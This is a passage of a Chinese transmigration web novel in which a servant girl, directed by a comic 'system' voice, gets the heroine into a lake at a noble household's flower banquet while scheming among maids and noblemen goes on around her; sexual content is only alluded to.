见裴执鹤因为虚弱而就着女儿的手,喝了两口甜水,福安稍感满意。
到底还是病人,精神不大好,福安也不再多留,让恭平放下碗勺,又说了几句让裴执鹤多加休息的话,便将屋内其余人都带了出去。
室内一下安静了不少。
裴执鹤倚着枕头犹静坐了会儿,片刻后才从被子里拾出一条手帕。
帕子上的香味已经散了,沾染的是股苦涩的药味,他边从脑子里搜寻这是谁的帕子,边仔细察看,在一角处发现了一朵颜色绚丽的阳蝶花。
会是那个胆敢捏他脸的丫鬟留下的吗?
很快,他又在另一角发现绣得歪斜的两个字:珍珠。
13. 第十三章
系统提示祝谣任务完成的时候,她正在泡脚,手边还有连翘捎回来的杨梅。
连翘听说南边流行用酱油蘸着吃,便打算试试,结果就是虽然味道不算差,但她并不习惯这个口味。
加之现在杨梅有些酸涩,于是连翘便把剩下的都给了祝谣。
祝谣不挑食,就着碟酱油全部吃完了——医生说,多吃杨梅对身体好。
夜色渐深,她感叹了下自己的小假即将结束,接着拢进被窝,抓紧时间休息了。
……
裴执鹤逐渐恢复了生龙活虎的状态,玲珑也留在了侯府,积极融入明鉴院。
她请院里的人私底下吃饭,秋菊给面子吃了几口酒才家去,连翘则完全连面都没露,给了祝谣一双绣鞋带去,权当是送了礼。
玲珑虽是宫中出身,但宁远府毕竟是裴执鹤的地盘,县官不如现管,她到明鉴院就是个外人,连翘背后有表舅托底,可以忽视她的示好,祝谣可不行。
她左翻右找,从箱笼里找出根以前捡到的银簪,已经氧化变黑了不少。
祝谣刚入侯府时才八岁,能干的活计不算多,完成每日固定的粗活后,便在能行动的范围内到处溜达。
侯府就像人为的储宝库,她能轻易地翻出不少东西,比如赤色的肚兜、吃了两口扔掉的李子、带着血迹的菜刀……
祝谣挑挑拣拣,也拾到些或值点小钱或有趣或纯粹满足主要收集癖的东西,银簪就是其中之一。
她想了想自己被扣了两个月的月钱,也是时候要重拾旧业了。
祝谣去取了点白醋,倒在水盆里,将银簪洗得清亮,但瞧上去不是很起眼,握在手里的分量不重。
是个无功无过的礼物。
饭局定在傍晚时分。
祝谣来的时候,屋里已经坐了两三个人。
其中小翠对玲珑最是殷勤,基本上不让玲珑的话落空,做到了事事有回应。
祝谣觉得她有这个毅力,日后高低能做个小管事。
屋内不大,摆了张圆桌,玲珑做东,坐在踏上,其余人依次坐在下首。
桌上的菜品香酥喷鼻,羊皮肚丝、葱醋鸡、汤浴绣丸、猪油烙饼……祝谣看花了眼。
她用勺子挖了一勺绣丸,是猪肉剁成泥和的,汤汁兑了淀粉,呈黏糊糊的状态,掺了蛋花,味道又鲜又醇。
只交了根银簪,便换了这么一桌好菜,她赚了呀!
祝谣不由估算起玲珑花了多少钱置办……决定多夹了几块肉,却恰好与另一双木箸撞到一起。
她顺着筷子向上看去,是花儿。
两人挤眉弄眼了一番,无声地交流出,祝谣给花儿夹左半边桌的河虾,花儿给她夹右半边桌的排骨,中间的大肘子她们对半分。
小翠不知和玲珑说了甚么,樊婆子也在一旁拍马,笑声不断,碰杯声也不停。
祝谣终于体会到吃到腻的感受,现在再看那盘碟中被烛火映照得润亮的油花,不再有端起喝下的想法了。
每个人的碗边都有一杯酒,祝谣除了陪酒时敷衍的蹭了蹭唇边,便再也没碰过,这会子也没别的能缓解快从胃里泛出来的恶心,她打算抿个一口。
她还未送进嘴里,就闻到股果香,香喷喷的,并不浓烈,直到入喉才慢慢泛上股些微的辣味和回味无穷的甜酸味。
没吃过猪肉,也见过猪跑,祝谣品味出这是好酒。
玲珑出手端的阔绰。
只是末了,祝谣发现,她被做了局。
其他人喝得东倒西歪,祝谣闻了闻别人的酒杯,刺鼻的味道能窜到天灵盖冲鼻。她下意识抬眸看向玲珑,只见她从榻上下来,坐到自己身旁。
“蝉儿?你的名字聒噪,倒不像你。”玲珑浅笑道。
祝谣将视线从趴在小桌睡着的小翠身上默默收回,没有贸然回话。
玲珑不介意她的防备,柔声细语的,差点说服了祝谣,做个两面派,明面上跟着连翘,背地里投靠她。
这可不行。
不说连翘和张总管不是吃素的,怎么能任由别人撬他们的墙角,单说祝谣自己同连翘住了那么久,也住出了感情。
她向来不喜欢改变和冒险,能长久待在舒适圈内,自然不愿意额外生事。
祝谣这次硬气了回,直言拒绝了玲珑。她也不怕对方心有芥蒂,拉帮结派的,本来就是互相有利益冲突,入了这个帮,难免得罪另一个派。
玲珑不愧八面玲珑,她听罢半分气恼也无,兀自好声好气道:“这事勉强不来,否则谁都容易憋气在心头。不过细水长流,将来的事谁也说不准,我给你时间再考虑考虑。”
说着,也不让祝谣有开口的机会,将她送出了小间。
回去得穿过堂前,祝谣很快想清楚了,她是不会投靠玲珑的。
玲珑才到明鉴院不到一月,便急着拿权,背后所图恐怕也不小罢?
……
祝谣收回思绪,手中正捧着一盆月季。
福安长公主要举办赏花宴,裴执鹤应该很敬爱她,愿意将宴会设在了侯府。
整个侯府也因为几乎请了半个洛都出身名门的未婚公子和小姐的赏花宴,提前十几日便忙了起来。
裴执鹤向来只关起门来过自己的日子,这还是时隔十几年来,宁远侯府头一回的热闹事。
冷不丁地,系统带着嗞嗞电流声出现:“珍珠一刻钟后会到溶月湖边赏花,请将她推下水,然后引来孟辰良相救。”
祝谣:?
都说小说世界是围绕着男女主而运转的,那他们便是气运之子,要她对女主下手,这是生怕她活过十五的月亮。
祝谣忍不住问道:“系统,你的任务能确保我以肉体凡胎去完成吗?我不会死了还要给你们做牛马,在男女主欢好之际,飘过去吓他们一跳,给他们助兴吧?”
来自几千年后的系统检索“做牛马”的含义后,才回答道:“请你放心,地府已经有牛头马面,它们不会让你有机会抢了它们的工作。”
一点都没有被安慰到。
祝谣切断了和它的
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交流。
算了,先不想有的没的,专注眼前再说。
祝谣算了下,从她现在的位置到指定地点溶月湖,至少要耗费一刻多一点的时间,也就是说,她现在就得跑过去。
说干就干,多亏日日扫地,时常有犄角旮旯需要祝谣半蹲,故而她的小腿肌肉梆硬,此刻能支撑她在负重的情形下,稳健小跑。
祝谣挥着两条腿,不多时来到廊下,把花盆放在花几上,移了移方向,使月季那层层叠叠的花心朝内,紧接着趁无人注意,彻底撒开腿往溶月湖奔去。
溶月湖只是府上一个处于僻静位置的小人工湖,祝谣要想尽快抵达,须穿过碧莹湖。
此地风景绝佳,公子和小姐们聚集在小亭内是意料之中,但这也阻碍了祝谣以极快的脚速通过。
比起绕一大圈才能到溶月湖的办法二,她还是选择了可能耽搁些微工夫的办法一。
祝谣在离小亭约有十步的地方,立即停脚,理了理衣服和头发,正儿八经地遵着侯府对下人要求的礼仪,眼睑半垂,才迈开克制的步子。
稍大一座的亭子里很是热闹。
“郎郎君今日也来了?你一来,我们可就黯然失色了哈哈哈!”
“是啊,你对着千金小姐们笑一笑,比这满园的名花都好使!”
“这福气给你要不要?”
郎钰从花盆上移开视线,直起身,仗着身高俯视富家公子,折扇抵在下颌点了点:“瞧你长得鼻子不是鼻子,眼睛不是眼睛,唯一能看得过去的嘴也吐不出象牙,谁家乐意把自家的千金插在牛粪上?”
“就是有你们在,才突出了我的不一般。”
富家公子涨红了脸:“你!你得意什么?不过是——”
另一个身材高瘦的公子赶紧出来打圆场:“少说几句,少说几句,今日来是为了赏花,都消消气,免得影响花儿心情。”
“嗤,花还有什么心情?”富家公子抖了抖袖子,微扬脖子,倒是散了点郁气。
高瘦公子拿了两杯果茶,分别递给郎钰和富贵公子:“大家都在洛都,日后还会打交道,别伤了和气。来,一茶泯恩仇。”
富家公子想到郎钰背后是国公府,虽然只剩个空架子,但瘦死的骆驼比马大,到底软了下来,顺着台阶道:“方才是我心直口快,但没有坏心,此事便揭过去了。”
郎钰接过茶杯,瓷器釉白,映衬得他的指骨白皙修长。他转了转手中的杯子,忽而朝着对方举杯笑道:“好啊。”
富家公子轻哼了声,仰头率先喝个干净,果茶味道倒是甜而不腻,自带一股清凉,抚平了身上的燥火。
哪知下一刻,郎钰当着众人的面,抬手朝后一倾斜,无辜道:“不好意思,茶倒了,我就不奉陪各位了。”
“你!”富家公子的脸色彻底涨成猪肝色。
郎钰懒怠搭理富家公子的跳脚,还有其他人投来谴责的目光,出了小亭。
他转过弯,但见眼前被泼湿了半边头发的丫鬟,却毫无羞愧地挑了挑眉。
14. 第十四章
祝谣飞快地看了郎钰一眼,只见他着宝蓝织金直掇,外罩玉色纱衫,衬得唇若涂脂,貌若好女,确实容易招同性忮忌,然后收回目光,双手交叠于腹下,老实站着。
她满心满眼想着等人过去了,继续往溶月湖赶,也就无所谓被他泼了半个头。
郎钰瞧着眼前这个丫鬟,或许是她平静的脸庞,又或许是炽阳恰巧被一片阴云遮挡,胸腔内因母亲焦虑婚事而影响的情绪,似戳了小孔的牛皮球,簌簌溜走。
祝谣便见视野里出现了一双珠履,思绪有一瞬出离:把它们抠下来能换多少钱呢?
哒,哒,哒。
折扇拍在掌中的声响,唤回了祝谣。
她闹不准对方想作甚麽,这时因快跑而涌起的气血一股劲往上冲,祝谣的脑中顿时闪现以前听过的主子如何磋磨奴仆的故事,忽而有些不安。
但她谨记不能表露出来。
蝉鸣仍旧不停,和着不远处小亭的嘈杂,驱散萦绕在两人之间的寂静。
清风徐过,骄阳似火,慢慢攀上了郎钰的指骨、肩头、脸颊,将他浑身都笼罩在耀眼的光芒下。
祝谣也被这宛若主角登场的绚丽光线闪到眼睛,自然地阖上眼睑。
当她再睁开眼时,发现人早不见了,唯独一块碎银躺在地上,散发着“快来捡我”的强大魅力!
祝谣立即捡起,攥到手中,背过身咬了一口。
是真的!
掂量重量,应该抵得上她两个月的月钱了。
地上拾到宝,问天问地拿不到。祝谣心安理得地将碎银塞进前胸特意缝制的内囊里,再抡起脚时,仿佛注入了天地灵气,任何疲惫和重量都一扫而空。
她咻地穿过竹林、桃园、小径,亲眼见到珍珠坐在石凳上,且暂时没有起身的动作后,才气喘吁吁地俯身撑着大腿急促呼吸。
珍珠似乎有意被遗忘在侯府,除了每日有人送饭收衣,外加昌安送过一次花,大多时候她都待在屋内,安安静静的。
她知道自己是裴执鹤想甩开的污点,那么光风霁月的人,怎么能与低贱丑陋的婢女发生关系?
只是她不明白……人在床上和床下真的能是两幅面孔?
屋中待得太闷,她试探地走出院子,却发现每个人都在忙着,根本无人在意她。
珍珠松了口气的同时,又有些失落。
天气正好,她随意走着,来到了一处小湖边。
这里栽满了绿植,生得异常茂密,倒影在有微风拂过的水面上轻轻摇曳。
珍珠看见湖边郁郁的青苔上,还开着几朵白花,心中的憋闷散了不少。
她拿出自带的糕点,又摘了些鲜花绿叶摆盘,心情又好了些。
如今这般闲适、不用为生计担忧的日子,是珍珠盼了许久的。
她还有什么不满足的呢?
忽然有风挟着碎花飘来,珍珠抬头望去,是她不认识的花,粉扑扑的,还有股茉莉的清香。
在这儿,就连阳光都变得温和,她将手反靠在额头上,倚着石桌,借着手下的阴影,望向天空发怔。
想到养父母,想到昌安,想到楚馆里的姐姐……
回过神时,珍珠便听到响动,只见祝谣出现了在她的面前。
“蝉儿?你怎么来了?”她惊讶道。
珍珠一路走到溶月湖的路上,遇见的仆役屈指可数,要说在侯府呆的年月比她长的祝谣是意外闯入此处,她不会信的。
祝谣这时脑子在疯狂转着,企图找出顺利把珍珠推进小湖的法子,还未等她想清楚,脚已经自行动了起来。
她跑到湖边,却因踩在湿漉漉的青苔上一个不稳,双膝弯曲,扑到了地上。
珍珠吓了一跳。
她靠近祝谣问询道:“需要我扶你起来吗?”
祝谣撑着自己,严肃地看着湖面,像是要望穿湖底,艰难抬起手指了指,对她说:“我做了个梦,梦见湖底有个蚌精,口含百年珍珠。”
珍珠半信半疑,蹲身随她一同探看,但湖底水草茂盛,一眼望不到尽头。
凝视久了,思绪皆随着水流下的绿草漂浮,实在有些怪异。
她立即抽离了视线,想先将祝谣扶起,不料刚转过头去,脚下不稳,天地顷刻间在眼中倾斜,失重般栽入了冰凉的湖水!
这下轮到祝谣惊诧了。
她的手蹭到珍珠的衣衫,只来得及勾住一角,如螳臂当车,尚未做出更多反应,人已经落水了。
“珍珠!”祝谣喊道。
只见珍珠呛了几口水,双手扑腾时,摸到了岸边,像是抱住浮木般,抓紧苔藓。
“咳、咳咳咳!”
珍珠浑身湿透了,头上簪的绢花浸了水,蔫了吧唧,浓密的乌发贴在腮颊,兀自向下滴着水,整个人湿漉漉的。
“……这里不算深,我的脚踩得到底。”她眨了眨眼睫,又有一串水珠落下,“但是我没有力气爬上去。”
祝谣手上没有任何工具,而且珍珠衣裳吸饱了水,重量更重,她不认为自己能够将人独自拉上来。
她仰头看了看天,风止云停,日头晒在身上滚烫的,但此刻照在珍珠身上,该死暖和的。
“我去找人过来,你等等。”
“嗯。我现在感觉还好,除了湖水有些凉了。”珍珠忍着不适道。
祝谣不再废话,马不停蹄跑起来。
她在脑中呼喊系统:“系统,我这算推了女主入湖吗?”
过了一会儿,系统才回道:“判定条件有两条,一是你主动触碰了珍珠,二是珍珠全
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身浸入湖水中。
……从过程上看,你有拉扯珍珠的衣服,从结果上看,珍珠掉入了小湖。”
虽然系统的声线一如既往地古板无趣,但是祝谣好似听出了它的疑惑。
祝谣一锤定音道:“好!既然如此,我现在只剩下把孟辰良拉过来救珍珠,就算完成这个任务了。”
系统:“字面上来说,是这样的。”
可是,她该去哪儿找孟辰良?
祝谣猛地停下脚步,锤了两下腿,缓解酸痛。
孟辰良住在兰羲园,若是从明鉴院过去,要不了一刻钟便到,可眼下她在溶月湖附近,这个时间就得耗费双倍。
况且今日赏花宴,是再好不过的交际场合,孟辰良但凡有心于仕途,便不会放过这个机会,只闷在书房里,两耳不闻窗外事。
然而侯府设置的赏花点不少,方才经过的碧莹湖算一处,其余可能会比较热闹的,她大概能估摸出来,却败在时间紧迫之上,无法挨个确认孟辰良的行踪。
祝谣也不知道该怎么办了。
“欸?丫头,上次是你卖给我胰皂吗?”
一道熟悉的声音响起。
祝谣回头看去,认出他是自己割过的韭菜。
“是您啊?”
她目光一瞟,发现董叔身后还立着位公子,气度不凡,样貌出众……
“郎君,这就是老奴提到的那个丫鬟。正巧纸张快用完了,不如就从她手中拿货罢?”董叔小声嘀咕道。
其实文房四宝,孟辰良都能走侯府的账,如此可节省一笔支出,但是到底他有俸禄,并不算完全寄人篱下。
自己掏钱买笔墨,很大程度上维护了他一点可怜的自尊。
“嗯,好。”
孟辰良微低下头,以便老仆说话轻松些,大抵是祝谣的目光如炬,他若有所感地抬眸看去。
光辉落到青年的眼中,将他那双琥珀色的眼瞳映照得异常漂亮。孟辰良身形颀长,但并不瘦弱,即便被人盯着瞧,此刻脸上挂着的仍然是极具亲和力的温柔笑意。
确认过眼神,是祝谣要找的人。
董叔倏地走到自家郎君跟前,挡住了二人的视线,眼神稍稍戒备,带着祝谣往旁边走了几步:“你这可有纸张卖?便宜但品质好的那种。”
甭管有没有,此时祝谣都说有:“……嗯,有是有的,只不过你知道的,小本生意,总得隐蔽点,我拿了货之后,特意寻了地方存着,保管不让人知道。
你看你们是等我送上门,还是现在跟着去验验货?你放心,我是不会坑老客的。”
董叔说什么也不会放心,像条上钩的鱼儿,还拽着条大鱼,跟着祝谣走了。
来到溶月湖附近,祝谣指着珍珠,大大地惊呼道:“女鬼?!”
15. 第十五章
裴执鹤随姨母、表妹一同入席。
因天气炎热,午宴的席座设在凉亭,另搭了木棚子遮阴,其上还缠了些紫藤萝,美不胜收。
席间菜色以凉食为主,若有脾胃虚寒之人,则另备温热吃食。
不出意外的,只要裴执鹤出现了,在座所有人的目光都会聚焦到他身上,他的婚事顿时成了头等大事。
明里暗里不少人来递话,倒是有姨母替他挡回去,但他知道,这也是因为姨母想将表妹嫁给他,所以才这般卖力。
忽然有人提议道:“光是你问我,我问你,问来问去无穷尽也,多没意思,不如玩个行酒令,何如?”
此话在理,很快得到多数人的认可。
考虑到墨水并不均衡地装在了每个公子和小姐的肚子里,这回行酒令的玩法是抽酒筹决定饮酒次数。
起头由裴执鹤先抽。
他随意抽了条,下人看了眼酒筹正面,硬着头皮唱道:“回眸一笑百媚生,六宫粉黛无颜色。”
翻过去背面:“容色倾城者饮。”
话音刚落,裴执鹤的面色冷若冰霜。
这对他来说,可不是个好词——古有烽火戏诸侯,结局便是一笑失天下。
在座也有人精,当即替裴执鹤解围道:“这不成,酒筹写得简单,没规定容色倾城者是男是女,生者还是逝去的,又或是在场或者不在场的,更何况每个人喜好不同,太难决定了。”
众人跟着附和,裴执鹤又抽了一次。
下人看过酒筹后,放心唱道:“劝君更尽一杯酒。”顿了顿,“抽中者需自饮一杯。”
裴执鹤也不拖延,举起酒盏,朝前横扫而过,俄顷爽快一饮而尽,仪姿潇洒,惹得千金频频投去欣赏的目光。
气氛稍稍活跃起来,毕竟这种行酒令的方式规避了那些镇日只顾吃喝玩乐的人出丑。
裴执鹤半倚凭几,手自然垂下,翕忽自袖口掉了个重量极轻的东西出来。
他与恭平一左一右坐在姨母两侧,恭平眼尖,看清是张帕子。
“表哥。”恭平眼神示意,用气音提醒道。
裴执鹤反应过来,趁着姨母看过来前赶紧塞回袖口。
福安见小辈隔着她还这般亲近,笑着左右瞧了瞧,说:“你们是一起长大的,现在可别因为男女大防就生疏了。”
恭平收回视线,捏了捏戴在颈上的璎珞,道:“表哥平日忙,我也不好打扰。”
姨母调笑道:“哎呦,平日你娇惯得很,谁能让你这么害臊啊。”
恭平不言语,福安便转头同裴执鹤说话:“恭平近日不知怎的,喜欢看些断案的话本,但是对刑法一知半解,看得糊里糊涂的。”
裴执鹤了然,道:“表妹若是有疑问,尽可来问我。”心下却是竖起一道高墙,只允许恭平寻他探讨由话本延伸出来的律法或道德疑点。
福安满意地点了点头,又回过头去看恭平。
恭平识相地朝裴执鹤娇俏道谢,见福安转过身,这才暗自松了口气。
她可发现了,表哥现在怕是心上已经住了人。
原先未藏人,她还担心在母亲的使劲撮合下,裴执鹤会松口娶她,现在估计不必担心了。
恭平甚至都能想到,若是母亲晓得了,即便不甘心,也能利用表哥的歉疚和心软,从他身上咬下一口丰厚的资奁。
赏花宴最主要的目的是为相看的人家搭个平台,酒和行酒令只是助兴的。
福安见酒筹也转了两三轮,便叫停,又说了些场面话,让大家该散酒气的散酒气,该继续赏花便继续赏花,夕阳之后,另备席座招待大家。
裴执鹤先回明鉴院更换衣服,简单擦拭了会儿,压下酒气。
昌安点燃一枚香丸,给他熏衣时提及道:“红萍院那位跌入溶月湖,被孟公子救了上来。”
裴执鹤顿了顿,装作若无其事问道:“是红萍院里的谁?”
昌安觑着他的脸色,道:“是珍珠姑娘,到底是个什么原因并不清楚,奴才已经吩咐小厨房往红萍院送姜汤了。”
沉吟片刻,裴执鹤才嗯了一声,开口却是问孟辰良:“延儒回兰羲园了吗?”
这时门外传来秋菊的声音:“侯爷,孟公子和郎公子求见。”
三人既是发小,也是一块读书的同窗,那时孟辰良和裴执鹤,一个等着人捧,一个小小年纪就有老儒生的风范,只有郎钰上蹿下跳的,整日有使不完的劲,冲淡了初相识的疏离和尴尬。
郎钰像回到自家似的,立即坐到主位上,指使道:“都坐都坐,我们什么关系,别客气。”
孟辰良笑了下,朝裴执鹤道:“子玠还是同以前一般,直率而不拘泥。”
裴执鹤并不介意。
三人许久未聚在一起,除了叙旧,便谈起各自的烦心事。只是到底都长大了,有些事说出口,又不能说得太深,彼此也是浅谈辄止。
郎钰倒是真心实意想留下来住个几晚:“我在家也是惹人烦的,侯爷你就收留我罢!”
瑞国公府的事,即便他想藏着掖着,也挡不住早成了洛都高门之间心照不宣关注的谈资。
郎钰生母是瑞国公后娶的继室,娘家只出了个县官,上头还有个同父异母的大哥。
瑞国公虽然在娶继室上任性了把,只看重姿色,没找同为勋贵的姑娘,但在爵位继承人上,还是清醒坚定的,一直属意外祖家有在朝中当官的长子。
现国公夫人苏氏自然不服气,长子再好,也非亲生的,再者长子有外祖家疼,前国公夫人不知道留了多少嫁妆,可怜她自己的小儿子,外祖靠不上,只有她这个母亲帮忙争取。
思来想去,最她后决定在小儿子的婚事上下功夫,招个高门媳妇和她一同争取爵位。
奈何郎钰本人根本不想和兄长争,觉得做个逍遥自在的公子哥也不错,只是苏氏半点听不进去。
“自然可以,今晚你便留下,我让张叔去国公府一趟。”裴执鹤应承道。
郎钰喜出望外:“感恩感恩,改日去开元寺,我会多多替为你祈福的。”
“可有喜欢的院落?”
“我不挑,就住在延儒旁边,也好有个照应!”
“那便是蘅芜斋。昌安,着人快去收拾好。”
“等等,我和你一块儿去。”
郎钰走了,孟辰良还待在原处。
今日赏花宴,按理说是很适合他结交朋友的,但一来他寒门出身,多年来只有与书为伴,并不懂洛都时下流行的活动,二来母亲辛苦抚育他成人,婚姻大事他希望由她掌眼。
故而府里哪处冷清他便往哪处去,乐得清闲,不料遇上了落水的丫鬟。
“侯爷,事发突然,我只能让董叔先把人救上来,再同你细说了……”
*
侯府开宴席,下人们也高兴,却更多的是为灶房今日下足了油水,吃得都快赶上过年了。
祝谣捧着碗,在门外呼哧吃了起来。
“看你吃饭就是香。”连翘拈着块桂花糕,笑道。
“张嘴。”
祝谣挑出根翠绿的青菜,这个对口气影响不大,想喂给连翘垫垫肚子。<
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p>连翘看到因为沾了汤汁而裹满细碎米粒的青菜,面有嫌弃,推开她的手:“你吃吧,待宴席结束了我再吃宵夜。”
现下她是抽空出来的,待会还得继续回去帮忙。
“不过,你怎么和珍珠凑到一起的?”连翘盯着她道。
祝谣又扒拉几口,嚼得差不多时才道:“我就是搬完花,闲着无事,四处走了走,正巧碰见孟公子迷了路,便给他们主仆引路,又正巧经过溶月湖的时候,发现里边站着一位女子,起初我还把她当作女鬼了呢。”
“倒是听到说是孟公子救她上来的,是真的吗?”
祝谣从碗里抬起脸,事关两人清誉,她一字一句道:“孟公子还没看清,就被他身边的董叔挡住了,再之后便是我和董叔一齐将人拉了上来。珍珠看起来也是一阵后怕,道是湖边苔藓湿滑,不小心摔了进去。”
虽然孟辰良注定是这本古早限制文里的男二,他的存在便是让裴执鹤误会吃醋之后,和珍珠玩angrysex,但祝谣且不愿日后府中关于二人关系的离谱谣言,是出自她口。
连翘对此不置可否,只抹掉她沾在嘴角的饭粒,小声道:“也不知侯爷对她是个什么想法,既然要了她,又不理不睬的,更不知道你被珍珠强留下来,是好事还是坏事。”
珍珠在湖水了浸了会儿,浑身发冷,可是房中也没个使唤的丫鬟,便求着祝谣暂且留下,先过了今晚——防备着她会发热。
“唔,总之珍珠会另给我打赏。”祝谣好心态道,“能抵我扣掉的月钱,我就不算亏了。”
连翘白了眼:“那我还得夸你上进呢。”
祝谣咽下最后一口饭,将空碗和木箸递给连翘:“谢谢连翘姑娘。”
连翘接过,放回食盒,最后叮嘱了句:“万一……要是侯爷来了,你记得和他提,你还兼着明鉴院的活计,看看他怎么给你安排——是日后都照顾珍珠,还是照顾完就回明鉴院,又或者是不用你照顾她。”
祝谣拉住她:“你想我跟着珍珠还是留在明鉴院?”
连翘侧过脸,有些扭捏道:“珍珠还不定有没有那个福气飞上枝头呢,你要是想赌一把,我也不拦着你,但是日后我就不怎么和你来往了。”
祝谣刚想说“我观珍珠印堂发亮,将来肯定大富大贵”,却被一股无形的力量卡住喉咙,于是改口道:“嗯,我知道你还是舍不得我的。”
连翘恼羞地拍了她肩头一巴掌:“胡说!……我不在的时候,脑子放机灵,我忙着,有事不一定赶得过来!”继而拎着食盒快步走了。
祝谣目送她出了院门,接着漱了口,才推门进去,却见桌上的饭菜没被动过。
她向坐在床榻边绣帕子的珍珠询问:“是不合胃口吗?”
珍珠摇头,只低着头道:“待会就吃,你要是累了,可以坐下歇息会。”
祝谣听话,能偷懒当然好过被迫积极干活,只是呆坐了会儿,她发现没什么事做,也怪无趣的。
珍珠见状,便给了祝谣一本书,她打开来,竟是本佛经,看了两页,困得趴桌睡了过去。
一觉醒来,外头更黑了,只剩蝉鸣。
祝谣最先看到桌角耷拉着一张绣了过半的帕子,移开视线,只见珍珠躺在床上,似乎也是睡着了。
饭菜依旧没人动过,都凉了,她想了想,浪费也很是可惜,留着卖给馋嘴的丫鬟小厮或者明日加餐都不错,便开始收拾起来。
刚放好一碟荤菜,外头便响起了脚步声,很快一道敲门声随之而来,是昌安,只听他道:“珍珠姑娘睡下了吗?侯爷来了。”
16. 第十六章
玲珑注意到裴执鹤在觥筹交错的宴席上心不在焉了。
这副神态与白日里的不同。
虽然他大多时候都是这般目中无人,沉浸在自己的世界中,身上的傲慢是与太后和皇上一脉相承的,但即便走神,也端着仪态,断不会像目下,差点将盛了葡萄酒的杯盏扫到地上。
今日府上除了赏花宴,另发生了什么事吗?
玲珑正想着,眼前倏地一晃,是绮罗站到了她身前,恰好遮住她的视野。
绮罗锤了捶肩,嘟囔道:“……今日忙前忙后,不仅腰酸背痛,小腿还酸胀得很。”
云锦笑道:“都是郡主平日太惯着你,由着你偷懒,不过忙了半天就说累了。”
绮罗哼了声:“我可不像某些人,活没干多少,还好意思拿那双眼睛乱瞟座上的公子小姐们。”
她就差甩个眼神给自己,玲珑自然听出了她的含沙射影。
不过玲珑并不生气,也可以说是要忍耐——原先她还能仗着是从寿康宫出来的,硬气点,可留在了侯府就意味着无诏不得入宫,长此以往,她所能借到的势,会越来越弱。
她觉得自己的目的不一定就与福安长公主的算计相冲突,或许等恭平郡主当上了宁远侯夫人,看得更透彻后,会反过头来拉拢她。
玲珑未言语,默默避让,眼尾却扫到裴执鹤起身,往宴厅侧后的小门走去。
她想了想,认为这实在反常,目光落到依旧盯着自己的绮罗身上,却是提了几步,在快要撞上绮罗的前一息,转向云锦,问道:“侯爷怎么提前离座了?”
虽然各自为主,但云锦还是维持了表面的礼貌:“方才侯爷同长公主说不胜酒力,长公主便让他先回去歇息了。”
绮罗意识到被戏耍了,愈发不悦道:“亏你还是侯爷院里的丫鬟,连侯爷身子不适都瞧不出来。”
玲珑对她的话充耳不闻,只同云锦提道:“侯爷桌上的酒一口未饮,何来的不胜酒力?难不成是有急事去处理?”
云锦下意识往裴执鹤先前坐着的位子探看过去,但见夜光杯中的酒线离杯口不差几寸。
她不敢怠慢,即刻打算向正与一个小辈说笑的长公主禀明。
*
祝谣也弄不清怎么又站在门外守夜了,她还以为今天可以蹭着珍珠的被褥睡个好觉。
事情是这样的。
当时祝谣面无表情地将门打开,发出有点夹的声音的昌安明显被噎住,让开位子,将后边的裴执鹤露出来。
月华皎皎,给宁远侯府的当家人披了件洒满星河的外衣,令他瞧起来愈加如同落凡的仙人,出尘脱俗。
祝谣立在门侧,垂首道:“珍珠姑娘没什么胃口,喝了姜汤之后,便径自睡下休息了。”
昌安替裴执鹤道:“侯爷疑心珍珠姑娘落水是另有隐情,打算过来问询一二。”
“珍珠都睡下了,现在到底是问询还是单纯来看看人,你们心里没数?”祝谣以眼神传递出自己的意思。
昌安轻咳了几声,回头恭敬道:“侯爷请进。”
祝谣也顺势跟了进去,继续收拾桌上的冷饭冷菜。
床榻上的女子睡得并不安稳,双手叠在小腹上,眉头紧蹙,微微敞开樱唇,急促呼吸着。
昌安给裴执鹤搬了张圆凳,又在他的示意下,以手背探了探珍珠的额头,并未发烫。
就在他要收回手之前,昌安发现她的眼珠动了动,好几下。
他似乎明白了什么,隐晦地看向裴执鹤,发现侯爷
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并未发现,暗自松了口气,然后回道:“没有发热,就是体温还有些凉。”
“姜汤喝净了吗?”
昌安去看几案上置放的空碗,碗底还剩些许褐黄的汤水,凑近一闻,有辛辣刺激的味道。
他拿下来给裴执鹤看了看:“应该是的。”
裴执鹤依旧背着手站着:“再端碗姜汤过来。”
祝谣专心手上的动作,对身后的吩咐置若罔闻,有昌安在,总不可能是让她跑腿罢?
“蝉儿,劳你跑一趟了。”昌安轻咳了声。
祝谣回头看向他,有理由怀疑他是为了报复自己上次使唤过他,但是可惜了,这事她并不能代劳:“我没有小厨房的钥匙。”
昌安愣了一瞬,改口道:“侯爷,煮姜汤需要一个人把控火候,奴才和蝉儿先去了。”
其实一人也能忙活完,只是昌安笃定十指不沾阳春水的侯爷注意不到这种细节。
他本来想留下,预防侯爷一时做出什么意外的举动,而珍珠无法应对,毕竟相较于蝉儿,他算侯爷自己人,侯爷想做什么也不必担心要避讳。
但是不幸的是,他搬起石头砸自己的脚,小厨房确实只有他和秋菊能进。
不过……侯爷也算铁树开花,或许让他们两人单独相处,更能擦出火花。
于是,昌安拉着祝谣一并出去,还贴心地合拢了房门。
姜汤煮好,昌安又把祝谣拉了回来,直到眼下,离把姜汤送进去大约过了一炷香,里边就有动静了。
没错,就是限制文里描写的限制级场面——男女主做上了。
谁主动不是最要紧的,要紧的是,系统又准时报点了。
她的新任务便是制造响动,给裴执鹤和珍珠助兴。
17. 第十七章
谁能想到她在穿越前的世界里,还只是个刚准备上大学的学生,转眼已经在这儿干了快七年的活,同时兼着另一份工作,实在令她自己都觉肃然起敬。
在开始行动之前,祝谣得向系统确认好细节。
“多大的响动才算完成任务?如果我把一只蝉扔进去,这样作数吗?还有,万一我的动静过大,让裴执鹤交代得太快,这又算助兴还是扫兴?”
系统宕机了会儿,才道:“只要能被男女主听到的响动都作数,但是请注意把握分寸,不能惊吓到二人,这边会随时监控数值。”
“行。”
不能惊吓?祝谣仔细琢磨出了点别的意味,所以说裴执鹤是有概率早丨泄或萎靡的?
嗯……还以为限制文里的男主,皆是威风凛凛,jin枪不倒。
扯远了,祝谣收起发散的思绪。
她摩挲着下巴,想借此找到些完成任务的灵感。
昌安还未对yin靡之声完全脱敏,眼睛四处游离,见到她眼睑微垂,面色严肃,不由好奇道:“你想到什么了?”
分明差不多年纪,但在主子尽兴的时候,依旧保持冷静,他都想问问对方是否有秘诀,能否让他学来静静心。
祝谣摇摇头。
要想发出响动的同时,又不致显得刻意,当真不是那么容易的。
捡颗石头朝门砸去?不说有裴执鹤的近侍就在一旁充当目击证人,单说这厢房的木门,也是用水曲柳打造的,赔起来够她好受的了。
